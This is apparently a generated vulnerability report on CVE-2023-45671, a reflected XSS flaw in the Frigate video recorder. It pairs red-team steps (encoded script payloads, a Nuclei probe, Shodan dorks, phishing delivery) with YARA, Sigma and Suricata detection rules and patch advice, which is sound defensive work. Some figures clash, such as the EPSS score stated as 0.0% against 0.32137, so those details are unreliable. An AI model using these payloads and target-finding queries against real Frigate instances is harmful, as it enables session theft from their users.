CVE-2023-45671

Executive Summary

CVE-2023-45671 is a reflected Cross-Site Scripting (XSS) vulnerability in Frigate, an open-source network video recorder (NVR). The flaw exists in API endpoints that use the /<camera_name> base path, where user-supplied values are not sanitized before being reflected in the response. An authenticated attacker can craft a malicious link containing a JavaScript payload in the camera name parameter. If a victim clicks the link, the payload executes in their browser context, potentially allowing session hijacking, credential theft, or further attacks within the Frigate instance.

The vulnerability has a CVSS score of 4.7 (Medium) due to the high attack complexity and requirement for user interaction. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild. However, the availability of a public Nuclei template and proof-of-concept code makes it a viable target for targeted attacks.

Supply Chain & Package Security

Frigate is distributed as a Docker container and Python package. The vulnerability affects all versions prior to 0.13.0 Beta 3. Users should update to the latest patched version immediately. No malicious packages or compromised dependencies have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): High (H) – The attacker must know specific details about the victim's Frigate instance and craft a convincing phishing link.
• Privileges Required (PR): None (N) – The attacker does not need prior authentication.
• User Interaction (UI): Required (R) – The victim must click the malicious link.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., user's browser).
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 4.7, the requirement for user interaction and specific knowledge of the target reduces the risk of widespread exploitation. However, for high-value targets with publicly exposed Frigate instances, this vulnerability poses a significant phishing risk.

Deep Dive & Mechanics

The vulnerability resides in Frigate's API endpoints that accept a camera_name parameter as part of the URL path. When a request is made to an endpoint like /api/<camera_name>, the server reflects the camera name back in the response without proper sanitization or encoding. This allows an attacker to inject arbitrary HTML and JavaScript by URL-encoding the payload in the path.

For example, a request to /api/%3Cimg%20src=%22%22%20onerror=alert(document.domain)%3E (where %3C is <, %3E is >) causes the server to respond with a page containing the unescaped string Camera named <img src="" onerror=alert(document.domain)>. The browser then interprets the <img> tag and executes the JavaScript payload.

The attack flow:

1. Attacker identifies a Frigate instance (e.g., via Shodan or Google dorking).
2. Attacker crafts a URL with a malicious payload in the camera name path.
3. Attacker sends the link to an authenticated Frigate user (e.g., via email or social engineering).
4. Victim clicks the link while logged into Frigate.
5. The payload executes in the victim's browser, potentially stealing session cookies, performing actions on behalf of the user, or redirecting to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.13.0 Beta 3): The server does not sanitize the camera_name parameter before reflecting it in the response. For example, in a Flask route:

@app.route('/api/<camera_name>')
def camera_api(camera_name):
    return f"Camera named {camera_name}"

Patched Code (0.13.0 Beta 3+): The patch introduces proper output encoding or sanitization. For example:

from markupsafe import escape

@app.route('/api/<camera_name>')
def camera_api(camera_name):
    safe_name = escape(camera_name)
    return f"Camera named {safe_name}"

This ensures that any HTML/JavaScript in the camera name is escaped, preventing XSS.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Frigate instance (version < 0.13.0 Beta 3) accessible over the network.
• An authenticated user session (or ability to trick a user into clicking a link).

Exploitation Steps:

1. Identify Target: Use Shodan or Google dorking to find exposed Frigate instances.
2. Craft Payload: URL-encode a JavaScript payload. Example: %3Cscript%3Ealert('XSS')%3C/script%3E (which decodes to <script>alert('XSS')</script>).
3. Construct Malicious URL: http://<target>/api/%3Cscript%3Ealert('XSS')%3C/script%3E
4. Deliver Payload: Send the link to an authenticated user via phishing email or social media.
5. Execute: When the victim clicks the link, the JavaScript executes in their browser.

Nuclei Template (Provided):

id: CVE-2023-45671

info:
  name: Frigate < 0.13.0 Beta 3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Frigate is an open source network video recorder. Before version 0.13.0 Beta 3, there is a reflected cross-site scripting vulnerability in any API endpoints reliant on the `/<camera_name>` base path as values provided for the path are not sanitized. Exploiting this vulnerability requires the attacker to both know very specific information about a user's Frigate server and requires an authenticated user to be tricked into clicking a specially crafted link to their Frigate instance. This vulnerability could exploited by an attacker under the following circumstances: Frigate publicly exposed to the internet (even with authentication); attacker knows the address of a user's Frigate instance; attacker crafts a specialized page which links to the user's Frigate instance; attacker finds a way to get an authenticated user to visit their specialized page and click the button/link. As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads. Version 0.13.0 Beta 3 contains a patch for this issue.
  impact: |
    Authenticated attackers can inject malicious JavaScript through unsanitized camera_name path values in API endpoints to execute attacks against Frigate users when they click specially crafted links.
  remediation: It has been fixed in version 0.13.0 Beta 3
  reference:
    - https://github.com/blakeblackshear/frigate/security/advisories/GHSA-jjxc-m35j-p56f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45671
    - https://securitylab.github.com/advisories/GHSL-2023-190_Frigate/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.7
    cve-id: CVE-2023-45671
    cwe-id: CWE-79
    epss-score: 0.32137
    epss-percentile: 0.96846
    cpe: cpe:2.3:a:frigate:frigate:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: frigate
    product: frigate
    shodan-query:
      - title:"Frigate"
      - http.title:"frigate"
    fofa-query: title="frigate"
    google-query: intitle:"frigate"
  tags: cve,cve2023,frigate,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/%3Cimg%20src=%22%22%20onerror=alert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Camera named <img src=\"\" onerror=alert(document.domain)>")'
          - 'contains(header, "text/html")'
          - 'status_code == 404'
        condition: and

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /api/ containing encoded HTML tags (e.g., %3C, %3E, %22).
• Use WAF rules to block requests with suspicious patterns in the URL path.
• Deploy the provided Sigma and Suricata rules.

Prevention:

• Update Frigate to version 0.13.0 Beta 3 or later.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Restrict network access to Frigate instances (e.g., VPN, firewall rules).

Indicators of Compromise (IOCs)

• URL Patterns: Requests to /api/ containing URL-encoded HTML/JavaScript (e.g., %3Cscript%3E, %3Cimg%20onerror%3D).
• HTTP Response: Responses containing unescaped HTML tags in the body (e.g., Camera named <script>alert(1)</script>).
• Log Entries: Web server logs showing 404 errors for /api/ paths with encoded payloads.
• Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (if payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2023_45671_Frigate_XSS {
    meta:
        description = "Detects reflected XSS attempts against Frigate API endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-45671"
    strings:
        $xss_pattern1 = /\/api\/%3C[^%]*%3E/ nocase
        $xss_pattern2 = /\/api\/%3Cimg[^%]*onerror=/ nocase
        $xss_pattern3 = /\/api\/%3Cscript[^%]*%3E/ nocase
    condition:
        any of them
}

Sigma Rule

title: Frigate Reflected XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Frigate API endpoints with encoded XSS payloads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45671
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/api/%3C'
            - '/api/%3E'
            - '/api/%22'
    condition: selection
falsepositives:
    - Legitimate camera names containing similar patterns (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-45671 Frigate Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/api/"; http_uri; pcre:"/\/api\/%3C(?:img|script|iframe|svg)[^%]*%3E/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Frigate: Update to version 0.13.0 Beta 3 or later. The patch sanitizes the camera_name parameter.
2. Apply WAF Rules: Block requests to /api/ containing encoded HTML tags.
3. Restrict Access: If possible, do not expose Frigate directly to the internet. Use a VPN or reverse proxy with authentication.

Long-Term Measures:

• Implement Content Security Policy (CSP) headers to prevent execution of inline scripts.
• Conduct regular security audits of web application code.
• Educate users about phishing attacks targeting Frigate instances.

Patch Verification:

• Check the installed version: frigate --version
• Verify that the response to /api/test%3Cscript%3E does not contain unescaped HTML.

Report generated by Valters IT DevSecOps & CTI Framework

{/* [Security Hash: 8F183A817DF7C615040444FF] */}